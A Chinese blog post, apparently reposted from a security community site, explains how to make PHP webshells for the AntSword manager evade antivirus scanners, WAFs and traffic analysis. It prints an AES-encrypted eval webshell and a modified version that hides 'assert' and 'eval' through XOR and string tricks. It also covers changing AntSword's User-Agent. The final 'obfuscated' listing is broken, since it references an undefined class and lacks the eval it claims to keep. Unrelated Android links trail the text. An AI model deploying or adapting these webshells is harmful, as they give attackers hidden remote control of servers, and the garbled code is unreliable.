php_webshell免杀--从0改造你的AntSword

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/10530.html

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编

关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。

但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。

蚁剑默认流量

返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。

默认的base64编码器

但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php

这⾥下载默认的aes128的默认流量。

这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。

复制代码
 <?php
 @session_start();
 $pwd='ant';
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 @eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPE
 NSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
 ?>
默认webshell讲解
复制代码
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd

再D盾,河⻢和阿⾥云进⾏扫描:

河⻢没有查出来,可能是⽐较弱

阿⾥云直接报恶意

初步修改后的webshell:

这⾥先做代码修改,直接放出我修改之后的webshell代码。

复制代码
 <?php
 @session_start();
 error_reporting(E_ALL^E_NOTICE^E_WARNING);
 function decode($key,$data){
 $data_new = '';
 for($i=0;$i<=strlen($data);$i++){
 $b=$data[$i]^$key;
 $data_new = $data_new.urldecode($b);
 }
 define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_
 new[11].strrev($data_new)[4].strrev($data_new)[0]);
 define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_n
 ew)[6].'($result)');
 return $data_new;
 }
 function decrypto($key,$data){
 $data = base64_decode($data);
 $result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPE
 NSSL_ZERO_PADDING);
 decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
 $ass=ass;
 $ass(ev);
 }
 class run{
    public $data;
    public function __construct(){
 $this->data = '#````````#'.$_POST[1]."#`#`#";
 $this->data = $this->data."123456";
 }
 }
 $key=@substr(str_pad(session_id(),16,'a'),0,16);
 $run = new run();
 decrypto($key,$run->data);
 ?>

这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。

所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)

混淆之后的webshell:

这⾥提供php在线加密的站 : https://enphp.djunny.com/

这⾥加密之后⽣成webshell。如下:

复制代码
<?php
function decrypto($key, $data) {
    $data = base64_decode($data);
    $result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);
    return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}

function decode($key, $data) {
    $data_new = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $b = $data[$i] ^ $key;
        $data_new .= urldecode($b);
    }
    return $data_new;
}

session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>

经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。

已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

在目录/modules/request.js文件中修改UA头

/modules/update.js文件修改

0x02 总结

关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。

相关推荐
阿巴斯甜13 小时前
Android 报错:Zip file '/Users/lyy/develop/repoAndroidLapp/l-app-android-ble/app/bu
android
Kapaseker13 小时前
实战 Compose 中的 IntrinsicSize
android·kotlin
xq952714 小时前
Andorid Google 登录接入文档
android
黄林晴16 小时前
告别 Modifier 地狱,Compose 样式系统要变天了
android·android jetpack
冬奇Lab1 天前
Android触摸事件分发、手势识别与输入优化实战
android·源码阅读
城东米粉儿1 天前
Android MediaPlayer 笔记
android
Jony_1 天前
Android 启动优化方案
android
阿巴斯甜1 天前
Android studio 报错:Cause: error=86, Bad CPU type in executable
android
张小潇1 天前
AOSP15 Input专题InputReader源码分析
android
_小马快跑_1 天前
Kotlin | 协程调度器选择:何时用CoroutineScope配置,何时用launch指定?
android